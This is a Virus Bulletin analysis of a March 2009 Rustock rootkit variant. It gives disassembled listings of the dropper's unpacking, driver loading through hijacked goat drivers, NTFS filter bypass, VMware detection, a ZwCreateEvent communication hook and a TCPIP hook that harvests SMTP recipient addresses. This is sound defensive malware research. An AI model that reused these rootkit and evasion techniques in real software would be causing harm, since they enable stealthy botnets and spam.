2009-07-01
Abstract
Chandra Prakash provides details of the kernel-mode operations of a recent (March 2009) version of Rustock, concentrating on the changes from its previous version.
Copyright © 2009 Virus Bulletin
This article provides details of the kernel-mode operations of a recent (March 2009) version of Rustock, concentrating on the changes from its previous version. The previous version referred to in this article (Rustock.C) was detailed in an earlier issue of Virus Bulletin [1]. This article also describes the functions of the Rustock dropper that drops the rootkit driver.
The outer layer 1 of the dropper is packed with the well-known UPX packer. Layer 1 UPX unpacking results in a Win32 command line executable with _wmain as shown in listing 1.
UPX0:00401920 _wmain proc near
UPX0:00401920 call sub_401928
UPX0:00401925 xor eax, eax
UPX0:00401927 retn
UPX0:00401927 _wmain endp
UPX0:00401927
UPX0:00401928 sub_401928 proc near
UPX0:00401928 jmp short loc_401995
.
.
UPX0:00401995 loc_401995:
UPX0:00401995 pusha
UPX0:00401996 or eax, 0FFFFFFFFh
UPX0:00401999 xor eax, 0FFFFFFFFh
UPX0:0040199C push 2DB7h
UPX0:004019A1 push offset loc_401957
UPX0:004019A6 retn
Listing 1.
The _wmain routine is a layer 2 inner custom unpacking routine which contains a lot of PUSH RETN instruction sequences. Listing 2 shows a snippet of the layer 2 unpacking routine.
0040197D push offset loc_4019A7; Start of encrypted code
00401982 pop ebx
00401983 lea esi, dword_420000; Starting decryption location
00401989
00401989 loc_401989:
00401989 add eax, 0B1788E5Ch; Decryption key
; different for every dword
0040198E mov edx, [ebx]
00401990 xor edx, eax; Simple XOR decryption
00401992 push edx
00401993 jmp short loc_401941
00401941
00401941 loc_401941:
00401941 pop dword ptr [esi]; Write decrypted dword
00401943 lea ebx, [ebx+4]
Listing 2.
Listing 3 shows the start of the decrypted code after layer 2 unpacking. The decrypted code obtains the location of the process environment block (PEB) using the FS:[30] register. From PEB it retrieves the address of InitializationOrderModuleList in order to find the kernel32.dll load virtual address. This is used to resolve the import addresses of the GetProcAddress, LoadLibrary and ExitProcess APIs. These APIs are in turn used to load more libraries, e.g. advapi32.dll, and resolve functions from them.
00420000 8b4c2404 mov ecx,dword ptr [esp+4]
00420004 call 0420009
00420009 pop ebp
0042000a sub ebp,9
0042000d mov eax,dword ptr fs:[00000030h]
00420013 mov eax,dword ptr [eax+0Ch]
00420016 mov eax,dword ptr [eax+1Ch]
00420019 mov eax,dword ptr [eax]
0042001b mov eax,dword ptr [eax+8]; Getting
;Kernel32.dll load address from PEB
Listing 3.
The next step is to load the rootkit driver into a shared memory. Using the CreateFileMapping API, the dropper creates a system paging file named ‘shared memory section object’. The user-mode name of the section object is ‘Global\5B37FB3B-984D-1E57-FF38-AA681BE5C8D9’. It then uses the virtual address return from the MapViewOfFile API to copy the rootkit driver into the shared memory.
Next, beep.sys is used as the first goat driver to install the rootkit driver. The dropper copies the beep.sys driver into a temporary file. The path to the temporary file is obtained using the GetTempPath and GetTempFileName APIs. The dropper uses the SCM APIs OpenSCManager and OpenService to get a handle to the beep service and then calls the ControlService API to stop it, if it is already running. It overwrites the beep.sys driver with its own Rustock driver and starts the beep service later using the ControlService API.
The dropper checks whether the driver has started successfully by opening a named event object created by the Rustock driver. The API used is OpenEvent and the name of the event object is ‘Global\{60F9FCD0-8DD4-6453-E394-771298D2A471}’. The open event is tried several times with one-second sleep intervals until it is successful. After the retries, the original beep.sys driver is restored from the temporary saved location. If the open event fails, the dropper uses the null.sys driver as the next goat driver, repeating the same steps. If using null.sys does not succeed either, then it creates a driver named ‘glaide32.sys’ in %SystemRoot%\System32\drivers and uses it to start the Rustock driver.
After final unpacking in the Rustock driver, when code near the original entry point is reached, ZwOpenSection is used to open the named shared memory section object that was previously created by the dropper. In the driver, the kernel-mode section object is opened with the name ‘\BaseNamedObjects\5B37FB3B-984D-1E57-FF38-AA681BE5C8D9’. After opening the section object, it calls the ZwMapViewOfSection API to get the driver buffer from which to copy. The driver buffer is written to disk with a uniquely generated name that contains all hexadecimal numbers. The driver name generation is described in listing 4.
00010388 push edx
00010389 rdtsc
0001038B xor eax, rdtscValLoc
00010391 ror eax, 5
00010394 add eax, edx
00010396 add rdtscValLoc, eax; eax has driver name
0001039C pop edx
0001039D retn
Listing 4.
The driver service name in the registry is generated using the format specifier \registry\machine\system\CurrentControlSet\Services\%x to sprintf API. The driver file path is generated using the format specifier \SystemRoot\System32\drivers\%x.sys. The driver is set up in the registry as a SERVICE_SYSTEM_START service. Note, this is the same driver as beep.sys was overwritten with. The driver is written to disk by direct access to the NTFS driver, bypassing all filter drivers to evade on-access detection [1]. After writing the driver to disk and setting up the driver registry service configuration, the shared memory buffer is deallocated using ZwUnmapViewOfSection. This newly written driver will be started after the next reboot.
The following are the similarities between this version of Rustock and the version presented in [1].
The decryption and decompression routines are the same at all stages, both for the Rustock driver and for the injected bot dll.
The number of threads started and the function of each thread remain broadly the same.
Both versions load private ntdll in order to obtain the SSDT index of hooked functions.
Both versions register a process creation notification routine using PsSetCreateProcessNotifyRoutine to search for services.exe process create events for injecting APCs.
Both versions create a new thread that overwrites its own driver to disk every five seconds.
Both versions hook the registry key parse procedure in the kernel to hide the rootkit driver service key. Normally, the parse procedure in the kernel is registered by the Configuration Manager with the Object Manager.
Both versions hook the ZwCreateKey, ZwOpenKey and IRP_MJ_CREATE dispatch routine of the NTFS driver.
Both versions send the APC1 routines to inject waitable threads in the context of services.exe.
Before the APC2 routine for injecting bot dll is delivered, it communicates with the PCI bus device to get two DWORDs. One DWORD identifies the vendor and device ID of the bridge between the PCI bus to host and the other identifies the device ID of the bridge between the PCI bus and ISA bridge [2], [3]. The vendor and device IDs corresponding to these DWORD pairs are shown in ???[4]. If a match occurs with any of these pairs, APC2 is not delivered [1]. Pair 1 corresponds to VMware and was checked on VMware versions 5.5, 6.0 and 6.5. It is more than likely that the malware uses these vendor and device IDs to detect VMware.
Vendor ID | Device ID | |
---|---|---|
Pair 1: | ||
71908086 | 8086 - Intel | 7190 - 440BX/ZX AGPset host bridge |
71108086 | 8086 - Intel | 7110 - PIIX4/4E/4M ISABridgeA |
Pair 2: | ||
12378086 | 8086 - Intel | 1237 - PCI & memory |
70008086 | 8086 - Intel | 7000 - PIIX3 PCI-to-ISA bridge (Triton II) |
Pair 3: | ||
71928086 | 8086 - Intel | 7192 - 440BX/ZX chipset host-to-PCI bridge |
71108086 | 8086 - Intel | 7110 - PIIX4/4E/4M ISBridgeA |
Pair 4: | ||
11308086 | 8086 - Intel | 1130 - Host-hub interface bridge / DRAM Ctrlr |
1112AAAA | Unknown |
Table 1. Vendor and device IDs.
The code snippet used to obtain the device and vendor IDs corresponding to the first DWORD is shown in listing 5.
mov edx, 0CFBh ; In dx set PCI mechanism control
; (PMC) register port number 0xCFB
in al, dx ; Read value from PMC register
or al, 1 ; PCI CONFIGURATION ACCESS MECHANISM
; SELECT (PCAMS):
; Set PCI Configuration Access Mechanism #1
; The CONFADD and CONFDATA registers (see below)
; are only accessible when PCAMS = 1
out dx, al ; Enable PCI Configuration Mechanism #1
xor ebx, ebx
Qry_PCI_Vendor_Dev_Id_Loop:
mov eax, ebx
shl eax, 8 ; Set up device number and function number
bts eax, 1Fh ; Set bit 31. Note device no. is always 0
mov dl, 0F8h
out dx, eax ; Output to port 0xCF8, the PCI
; configuration address (CONFADD) register
mov dl, 0FCh
in eax, dx ; Read port 0xCFC, the PCI Configuration
; data (CONFDATA) register
mov esi, eax
inc ax
jz short invalid_value_read_fr_port
mov eax, ebx ; Reached here if vendID and devID are
; valid for the given device num and
; function num at bus 0
shl eax, 8
add eax, 80000008h; Set PCI Config address offset 0x8
mov dl, 0F8h
out dx, eax
mov dl, 0FCh
in eax, dx ; Here it is reading DWORD from CONFDATA
; at PCI address offset 0x8
; The DWORD contains four bytes as below
; byte at offset 0xB - broad classification
; byte at offset 0xA - sub-classification
; byte at offset 0x9 - register programming interface
; byte at offset 0x8 - ignored
shr eax, 8 ; Ignoring byte at offset 0x8
cmp eax, 60000h ; 0x060000 is such that
; 06 - PCI bridge (broad classification)
; 00 - bridge to CPU host (sub-classification)
; 00 - register programming interface
; Hence it identifies a PCI host bridge device
jz short found_valid_vendor_dev_id
invalid_value_read_fr_port:
inc bl ; Here by incrementing bl which is byte sized
; it is scanning all device numbers and
; function numbers
; Note device number is four bits and so is
; the function number
jnz short Qry_PCI_Vendor_Dev_Id_Loop
xor esi, esi
found_valid_vendor_dev_id:
Listing 5.
The logic for obtaining the device and vendor ID corresponding to the second DWORD is identical except for the comparison part, as shown in listing 6.
cmp eax, 60100h ; 060100 is a such that
; 06 - PCI bridge (broad classification)
; 01 - ISA bridge (sub-classification)
; 00 - register programming intf
; Hence it indentifies a PCI ISA bridge device.
jz short loc_1116D
cmp eax, 68001h ; 068001 identifies PCI “other”
; bridge device
Listing 6.
The Rustock driver creates a TCPIP hook by using the device name \Device\Tcp. First, the device object of the tcpip.sys driver is obtained by using the IoGetDeviceObjectPointer API. Next, the driver object member of the device object structure is used to get the address of the original IRP_MJ_INTERNAL_DEVICE_CONTROL dispatch routine, where the hook is placed. During the creation of this TCPIP hook it allocates two buffers of size 5,220 (0x1464) and 3,200 (0xC80) bytes from a non-paged pool. It also creates an event notification object. The purpose of these buffers and the notification object is to store data from the TCPIP hook function and then notify delivery to bot dll, as described in DispatchFunction3 and DispatchFunction4 below.
Rustock uses a nice modular approach, defining a set of helper functions that are parameterized, rather than using duplicated code due to differences in parameters. Some of these helper functions relating to TDI communication are described below [6]. These helper functions are called from more than one location from various dispatch functions called to serve requests from the bot dll.
ReturnLockedMDLForUserBuf proc
; Remarks
; Returns MDL after locking a user-mode buffer.
; User-mode buffer is passed in requests from bot dll
; Input Parameters
; [ebp+8] - UserBufVirtAddr
; [ebp+C] - UserBufLength
; [ebp+10] - LOCK_OPERATION (IoReadAccess/
; IoWriteAccess etc.)
; Return value
; Locked MDL pointer in eax
000131A0 xor esi, esi
000131A2 push esi ; Irp
000131A3 push esi ; ChargeQuota
000131A4 push esi ; SecondaryBuffer
000131A5 push dword ptr [ebp+0Ch] ; UserBufLength
000131A8 push dword ptr [ebp+8] ; UserBufVirtAddr
000131AB call ds:IoAllocateMdl
000131B1 mov edi, eax ; Store MDL pointer in edi
.
.
000131BD push dword ptr [ebp+10h] ; LOCK_OPERATION
000131C0 push 1 ; AccessMode = UserMode
000131C2 push edi ; MDL
000131C3 call ds:MmProbeAndLockPages ; Lock
;user-mode buffer
.
.
000131E1 mov eax, edi ; Return MDL pointer in eax
ReturnLockedMDLForUserBuf endp
Listing 7.
PrepareAndSendIrp proc
; Remarks
; In regard to the bot dll requests, this function
; prepares TDI IRPs for the TCPIP.sys driver. It fills
; in MDL, Next Stack Location parameters and then
; sends it to the TCP driver. IRP completion and post
; processing cleanup is also handled.
; Input parameters
; eax - control structure such that:
; [eax+20h] = allocated KEVENT object
; [eax+30h] = reusable IRP pointer
; [eax+38h] = placeholder for output
; IRP->IoStatus.Information
;
; Return value
; NTSTATUS in eax copied from local var ‘status’
;
; Local vars
; [ebp-8] - PMDL MemoryDescriptorList
; [ebp-4] - NTSTATUS status
;
00012D1C mov esi, eax
00012D1E mov edi, [esi+30h] ; Get IRP
.
.
00012D28 lea ebx, [esi+20h]
00012D2B push ebx ; KEVENT object
00012D2C mov [ebp+MemoryDescriptorList], eax
00012D2F call ds:KeInitializeEvent
00012D35 mov eax, [esi+30h] ; Get IRP pointer
00012D38 mov eax, [eax+60h]
; IRP->Tail.Overlay.CurrentStackLocation
00012D3B sub eax, 24h ; IoGetNextIrpStackLocation
00012D3E mov dword ptr [eax+1Ch], offset TcpIrpCompleteionRoutine;
; Set IO_STACK_LOCATION.CompletionRoutine
00012D45 mov [eax+20h], ebx ; Set IRP Event object
; in IO_STACK_LOCATION.Context
00012D48 mov byte ptr [eax+3], 0E0h ; Set
; IO_STACK_LOCATION.Control
00012D4C mov ecx, [esi+14h] ; TCP DeviceObject
00012D4F mov edx, edi ; IRP
00012D51 call ds:IofCallDriver ; Call TCPIP driver
.
.
00012D86 mov eax, [edi+1Ch]
; Irp->IoStatus.Information
00012D89 mov [esi+38h], eax
00012D8C mov eax, [edi+18h] ; Irp->IoStatus.Status
00012D8F mov [ebp+status], eax
.
.
00012D92 mov esi, [ebp+MemoryDescriptorList]
.
.
00012D99 test byte ptr [esi+6], 2 ; Compare
; MDL_PAGES_LOCKED flag
00012D9D jz short loc_Dont_UnlockPages
00012D9F push esi ; MemoryDescriptorList
00012DA0 call ds:MmUnlockPages; Unlock pages
00012DA6 loc_Dont_UnlockPages:
00012DA6 push esi ; Mdl
00012DA7 call ds:IoFreeMdl
.
.
00012DAF push edi ; Don’t free IRP. Reuse it!
00012DB0 call ds:IoReuseIrp
00012DB6 mov eax, [ebp+status]; Return
; NTSTATUS in eax
.
.
PrepareAndSendIrp endp
Listing 8.
In contrast to the previous version of Rustock, which hooked ZwTerminateProcess, this one hooks ZwCreateEvent for communication between the user-mode bot dll and the driver [1].
NTSTATUS ZwCreateEvent( OUT PHANDLE EventHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes, IN EVENT_TYPE EventType, IN BOOLEAN InitialState );
In the ZwCreateEvent API the DesiredAccess parameter value 0x0DC17E241 is used to delineate messages from bot dll versus other normal calls to this API. If ZwCreateEvent was invoked from bot dll, as indicated by the DesiredAccess value, then EventHandle contains a structure describing the input/output parameters. The layout of this structure is shown in listing 9.
ZwCreateEventHook proc
; Remarks
; This hook is used for Rustock bot dll and
; driver communication. The communication structure
; (RustockBotDllDrvComm) layout is:
; +0x0 FunctionIndex // Index into function array
; +0x4 InputBuffer // Input buffer
; +0x8 InputBufferSize // Input buffer size
; +0xC OutputBuffer // Output buffer
; +0x10 OutputBufferSize // Output buffer size
;
; Input parameters
; [ebp+8] - OUT PHANDLE EventHandle
; [ebp+C] - IN ACCESS_MASK DesiredAccess
; [ebp+10] - IN POBJECT_ATTRIBUTES ObjectAttributes
; [ebp+14] - IN EVENT_TYPE EventType
; [ebp+18] - IN BOOLEAN InitialState
;
.
.
00012849 cmp [ebp+DesiredAccess], 0DC17E241h
00012850 jnz short CALL_ORIGINAL_ZwCreateEvent
; When bot dll encoded value doesn’t match, call
; original ZwCreateEvent function
00012852 call ds:IoGetCurrentProcess
00012858 cmp eax, [ServicesEPROCESSValue]
0001285E jnz short CALL_ORIGINAL_ZwCreateEvent
; If not services.exe, handle requests through
; original ZwCreateEvent function
.
.
00012864 push 1 ; Alignment
00012866 push 14h ; Size of RustockBotDllDrvComm
00012868 mov esi, [ebp+EventHandle]
0001286B push esi ; Pointer to RustockBotDllDrvComm
0001286C mov edi, ds:ProbeForRead
00012872 call edi ; Check if structure is readable
00012874 push 1 ; Alignment
00012876 push 14h ; Size of RustockBotDllDrvComm
00012878 push esi ; Pointer to RustockBotDllDrvComm
00012879 mov ebx, ds:ProbeForWrite
0001287F call ebx ; Check if structure is writable
00012881 cmp dword ptr [esi], 0Ch ; Check function
; index bound
00012884 jnb short LOC_SET_ERROR_RETURN ; Only 11
; functions are registered. More validation
; on InputBuffer and OutputBuffer done next
.
000128A4 mov eax, [esi] ; eax has FunctionIndex
000128A6 push esi ; address of
; RustockBotDllDrvComm
000128A7 call ZwCrtEvtDispFuncsArr[eax*4] ; Call
; dispatch function based on FunctionIndex
.
.
000128CD CALL_ORIGINAL_ZwCreateEvent:
000128CD push [ebp+InitialState]
000128D0 push [ebp+EventType]
000128D3 push [ebp+ObjectAttributes]
000128D6 push [ebp+DesiredAccess]
000128D9 push [ebp+EventHandle]
000128DC mov eax, OrigZwCreateEventAdr
000128E1 call dword ptr [eax]
.
.
LOC_SET_ERROR_RETURN:
.
.
ZwCreateEventHook endp
Listing 9.
There are 11 dispatch functions that can be called from ZwCreateEvent hook. These are used for communication between bot dll and the driver and their general details are described below. Any disk I/Os in these dispatch functions are done by direct access to the NTFS driver.
This function is used to overwrite the existing Rustock driver with a new one sent from the bot dll. The new driver buffer and its size are passed in the InputBuffer and InputBufferSize parameters of the RustockBotDllDrvComm structure.
This function is used for copying to user-mode data that was filtered in the Rustock TCPIP hook in TCP_SEND. When the data is ready, the TCPIP hook calls KeSetEvent and this function waits on that event (see listings 10 and 16).
DispatchFunction3 proc
.
00012954 push ebx ; Waitable Event Object
00012955 call ds:KeWaitForSingleObject ; Wait
; for notication from TCP hook
.
.
00012975 mov ecx, ebx ; FastMutex
00012977 call ds:ExAcquireFastMutex ; Get copy lock
; to sync with TCP hook before copy
0001297D mov eax, BufferAddrToCopyFrom
00012982 mov ecx, ebp ; Set up buffer length in ecx
.
.
0001298A mov esi, eax ; Set up source buffer
0001298C mov [edi+OutputBufferSize], ecx ; Set
; output buffer size
0001298F mov edi, [edi+OutputBuffer] ; Set
; output/destination buffer
00012992 mov edx, ecx
00012994 shr ecx, 2
00012997 rep movsd ; Copy in chunks of dwords
00012999 mov ecx, edx
0001299B and ecx, 3
0001299E rep movsb ; Copy remainder in chunk of bytes
.
.
000129AD call ds:ExReleaseFastMutex; Copy done,
; release copy lock
.
DispatchFunction3 endp
Listing 10.
This function returns to bot dll the process name captured in the TCPIP hook, which sent the data in a certain format through TDI_SEND (see listing 16).
This function is called on request from bot dll for creating a new unique TCPIP connection control structure. This control structure is an array of 16 DWORDs that contains, for example, the address of reusable IRPs (see listings 8, 12 and 13), TDI connection context handles, TDI file objects etc. There is an array of 10,000 such control structures. When bot dll requests the driver through dispatch functions relating to TCP activity, the bot dll sends in its input parameter an index into the array of control structures. Listing 11 shows a common routine used to obtain the address of the control structure using the array index.
GetCtrlStructByIndex proc
; Remarks
; This function returns address of TCPIP control
; structure from an array of these structures
; Input parameter
; eax - Index into the array of control structures
000133CE cmp eax, 2710h ; compare to 10000
000133D3 jle short LOC_VALID_ARRAY_INDEX
000133D5 xor eax, eax ; return NULL
000133D7 retn
000133D8 LOC_VALID_ARRAY_INDEX:
000133D8 mov ecx, MasterArrCtrlStructs
000133DE mov eax, [ecx+eax*4] ; return pointer to
; control structure by array index
000133E1 retn
GetCtrlStructByIndex endp
Listing 11.
This is used to clean up a control structure allocated in DispatchFunction5. The index of the control structure to deallocate is passed in the InputBuffer. The cleanup includes sending TDI disconnect, closing TDI transport address, TDI connection context, freeing IRP and deallocating the control structure (see listing 12).
DispatchFunction6 proc
.
00013459 mov eax, esi ; Set index of control struct ; in eax
0001345B call GetCtrlStructByIndex
00013460 test eax, eax
00013462 jz short loc_13475
00013464 push eax ; Pass address of control struct
00013465 call SendDisconnAndDeAllocCtrlStruct
.
DispatchFunction6 endp
SendDisconnAndDeAllocCtrlStruct proc
; Input parameter
; [ebp+8] - Control structure
.
00012DF6 mov esi, [ebp+8]
00012E23 mov eax, [esi+30h]; IRP
00012E26 mov eax, [eax+60h]
; IRP->Tail.Overaly.CurrentStackLocation
00012E29 sub eax, 24h
; IoGetNextIrpStackLocation
00012E2C mov byte ptr [eax], 0Fh
; IRP_MJ_INTERNAL_DEVICE_CONTROL
00012E2F mov byte ptr [eax+1], 6
; TDI_DISCONNECT
.
00012E52 mov eax, esi
00012E54 call PrepareAndSendIrp ; Send
; disconnect remaining cleanup done next
.
SendDisconnAndDeAllocCtrlStruct endp
Listing 12.
This function is used to connect to a remote host. The InputBuffer contains an array index of the control structure and IP address and port to which to connect. Figure 1 shows a portion of netstat output showing Rustock connected to the SMTP port on several remote hosts.
DispatchFunction7 proc
.
00013066 mov ecx, [eax+30h]; IRP
00013069 mov ecx, [ecx+60h]
; IRP->Tail.Overaly.CurrentStackLocation
0001306C sub ecx, 24h
; IoGetNextIrpStackLocation
0001306F push esi
00013070 mov byte ptr [ecx], 0Fh
; IRP_MJ_INTERNAL_DEVICE_CONTROL
00013073 mov byte ptr [ecx+1], 1
; TDI_ASSOCIATE_ADDRESS
00013077 mov esi, [eax+14h] ; Get TCP device
; object from control struct
0001307A mov [ecx+14h], esi
; Set IO_STACK_LOCATION.DeviceObject
0001307D mov esi, [eax+0Ch] ; Get TDI
; ConnContext
; FileObject from control struct
00013080 mov [ecx+18h], esi ; Set
; ConnContext in
; IO_STACK_LOCATION.FileObject
.
0001308D call PrepareAndSendIrp; Send IRP
.
00013154 sub eax, 24h
00013157 mov byte ptr [eax], 0Fh
; IRP_MJ_INTERNAL_DEV_CTRL
0001315A mov byte ptr [eax+1], 3 ; TDI_CONNECT
.
0001316A lea ecx, [ebp+tdiConnInfo]
0001316D mov [eax+8], ecx
; TDI_REQUEST.RequestConnectionInfo
00013170 lea ecx, [ebp+tdiConnInfo]
00013173 mov [eax+0Ch], ecx
; TDI_REQUEST.ReturnConnectionInfo
00013176 mov [eax+10h], ebx
; TDI_REQUEST.RquestSpecific=0 (ebx)
.
0001317C call PrepAndSendIrp; Send IRP
.
DispatchFunction7 endp
Listing 13.
This function is used to send data using TDI_SEND. The index of the control structure and data to send is passed in the InputBuffer.
DispatchFunction8 proc
.
00013206 xor ebx, ebx
00013208 push ebx
; 0 - IoOperationRead
00013209 push edi
0001320A push [ebp+arg_4]
0001320D call ReturnLockedMDLForUserBuf; Get
; Locked MDL for read
00013212 cmp eax, ebx
00013214 jz short ErrorExit
.
00013228 mov ecx, [esi+30h]
0001322B mov ecx, [ecx+60h]
0001322E sub ecx, 24h; IoGetNextIrpStackLocation
00013231 mov byte ptr [ecx], 0Fh
; IRP_MJ_INTERNAL_DEVICE_CONTROL
00013234 mov byte ptr [ecx+1], 7 ; TDI_SEND
.
; From Control Struct get TCP DeviceObject and TDI
; ConnContext FileObject to fill in corresponding
; fields in IO_STACK_LOCATION
.
; Set TDI_REQUEST_KERNEL_SEND.SendFlags
00013247 mov [ecx+4], edi
; Set TDI_REQUEST_KERNEL_SEND.SendLength
0001324A mov ecx, [esi+30h]
; Get IRP from Control Struct
0001324D mov [ecx+4], eax ; Set IRP->MdlAddress
00013250 push dword ptr [esi+3Ch]
00013253 mov eax, esi
00013255 call PrepareAndSendIrp
.
DispatchFunction8 endp
Listing 14.
Figure 2 shows a screenshot of data sent through DispatchFunction8.
This function is used to receive data using TDI_RECEIVE. The index of the control structure is passed in the InputBuffer and the address of the receive buffer is passed in the OutputBuffer.
DispatchFunction9 proc
.
0001328B push 1 ; 1 - IoOperationWrite
0001328D push edi
0001328E push [ebp+buffer]
00013291 call ReturnLockedMDLForUserBuf ; Get Locked
; MDL for write
00013296 test eax, eax
00013298 jz short ErrorExit
.
000132AF mov ecx, [esi+30h]
000132B2 mov ecx, [ecx+60h]
000132B5 sub ecx, 24h; ; IoGetNextIrpStackLocation
000132B8 mov byte ptr [ecx], 0Fh
; IRP_MJ_INTERNAL_DEVICE_CONTROL
000132BB mov byte ptr [ecx+1], 8 ; TDI_RECEIVE
.
; From Control Struct get TCP DeviceObject and TDI
; ConnContext FileObject to fill in corresponding
; fields in IO_STACK_LOCATION
.
000132CB mov dword ptr [ecx+8], 20h
; TDI_REQUEST_KERNEL_RECEIVE.ReceiveFlags=TDI_
RECEIVE_NORMAL
000132D2 mov [ecx+4], edi
; TDI_REQUEST_KERNEL_RECEIVE.ReceiveLength
000132D5 mov ecx, [esi+30h] ; ; Get IRP from Control
; Struct
000132D8 mov [ecx+4], eax ; Set IRP->MdlAddress
000132DB push dword ptr [esi+3Ch]
000132DE mov eax, esi
000132E0 call PrepareAndSendIrp
.
DispatchFunction9 endp
Listing 15.
Figure 3 shows the memory dump of the receive buffer after a series of single-byte receives. Note that every data-sent packet sent or received by Rustock is delimited by CRLF (0xd 0xa) by sequence.
DispatchFunctions 10 and 11 return some state information upon request from bot dll.
The TCPIP hook is mainly on two TDI requests: TDI_SEND and TDI_CONNECT (see listing 16). The hook on TDI_SEND checks for the ‘RCPT TO:’ ASCII string at the beginning of sent data. If a match occurs, the string between angular brackets (left anchor ‘<’ and right anchor ‘>’) is extracted and copied to a memory buffer and then an event is signalled for DispatchFunction3. Also, after finding the matching data this hook obtains the process name of the process sending the data and stores it in a memory buffer for DispatchFunction4. This ‘RCPT TO:’ string field appears to correspond to the recipient’s email address in the SMTP protocol [5].
The part of the hook relating to TDI_CONNECT monitors the number of connection attempts to SMTP port 25 on a per-process basis [5]. The EPROCESS of the process requesting connect is stored in an array of maximum size 400. Every time the process makes an attempt to connect the connect count is incremented using EPROCESS as the key. If the connect count exceeds 200, the connect IRP is completed right away with NT status STATUS_UNSUCCESSFUL (0xC0000001), which returns failure to the user-mode application attempting to connect.
HookTCPDevCtrlDispFunc proc
; Input Parameter
; [esp+8] - DeviceObject
; [esp+C] - Irp
.
00012A91 mov ebx, [esp+Irp]
00012A95 cmp byte ptr [ebx+20h], 0 ; Check
; Irp.RequestorMode is Kernel
.
00012A9B mov edi, [ebx+60h]
; Irp->Tail.Overlay.GetCurrentStackLocation
00012A9E mov [esp+8+Irp], edi
00012AA2 jz CheckTDI_CONNECT; Jump if RequestorMode
; is Kernel
00012AA8 cmp byte ptr [edi+1], 7; TDI_SEND
00012AAC jnz CheckTDI_CONNECT; Jump if MinorFunction
; != TDI_SEND
.
; If MinorFunction==TDI_SEND and TCP send buffer range
; is >= 10 and < 100 bytes, then check for “RCPT TO:”
; at the buffer start (esi) as below
00012AE8 cmp dword ptr [esi], 54504352h;
; Compare buffer to “RCPT”
00012AEE jnz CheckTDI_CONNECT
00012AF4 cmp dword ptr [esi+4], 3A4F5420h
; Compare buffer+4 to “ TO:”
.
00012B17 add esi, 8; Increment esi past “RCPT TO:”
; In the remaining send buffer, extract an ASCII
; string between ‘<’ and ‘>’ delimiters
.
00012BA7 push offset SomeNotfEvtObj1 ; Event
00012BAC call ds:KeSetEvent ; If matching string
; found, set event for DispatchFunction3
.
CheckTDI_CONNECT:
00012BBD cmp byte ptr [edi+1], 3 ; TDI_CONNECT
00012BC1 jnz short CallTCPOrigDevCtrlFunc ; Jump if
; not TDI_CONNECT
.
00012BCF cmp word ptr [eax+6], 2
; TA_ADDRESS.AddressType == TDI_ADDRESS_TYPE_IP
00012BD4 jnz short CallTCPOrigDevCtrlFunc
00012BD6 cmp byte ptr [ebx+20h], 0
; Check Irp.RequestorMode
00012BDA jz short CallTCPOrigDevCtrlFunc ; Jump if
; Irp.RequestorMode == Kernel
00012BDC cmp word ptr [eax+8], 1900h
00012BE2 jnz short CallTCPOrigDevCtrlFunc ; Jump if
; port != 25 (0x19)
.
00012BED call CheckPortConnAttmptsFrThisProc; This
; function returns TRUE if max number of connection
; attempts for the current process is >= 200.
00012BF2 test eax, eax
00012BF4 jz short CallTCPOrigDevCtrlFunc; If
; function returned NON-ZERO complete request with
; STATUS_UNSUCCESSFUL
00012BF6 and dword ptr [ebx+1Ch], 0
; Irp.IoStatus.Information = 0
00012BFA mov esi, 0C0000001h ; STATUS_UNSUCCESSFUL
00012BFF xor dl, dl ; PriorityBoost
00012C01 mov ecx, ebx ; IRP
00012C03 mov [ebx+18h], esi
; IRP.IoStatus.Status=STATUS_UNSUCCESSFUL
00012C06 call ds:IofCompleteRequest ; Request is
; completed here and NOT sent to lower driver.
00012C0C mov eax, esi
00012C0E jmp short FunctionExit
.
00012C10 CallTCPOrigDevCtrlFunc:
.
00012C10 push ebx
00012C11 push [esp+0Ch+DeviceObject]
00012C15 call OrigTCPDevCtrlDispFunc
.
FunctionExit:
.
HookTCPDevCtrlDispFunc endp
Listing 16.
[1] Prakash, C. Your filters are bypassed: Rustock.C in the kernel. Virus Bulletin, November 2008, p.6. http://www.virusbtn.com/pdf/magazine/2008/200811.pdf.
[2] 82434LX/82434NX PCI, CACHE AND MEMORYCONTROLLER (PCMC). http://datasheet.digchip.com/227/227-3-008971-2434NX.pdf.
[3] PCI 2.2 local bus specification. http://www.ece.mtu.edu/faculty/btdavis/courses/mtu_ee3173_f04/papers/PCI_22.pdf.
[4] PCI vendor and device lists. http://www.pcidatabase.com/.
[5] Simple Mail Transfer Protocol. http://en.wikipedia.org/wiki/Simple_Mail_Transfer_Protocol.
[6] TDI drivers. http://msdn.microsoft.com/en-us/library/aa505007.aspx.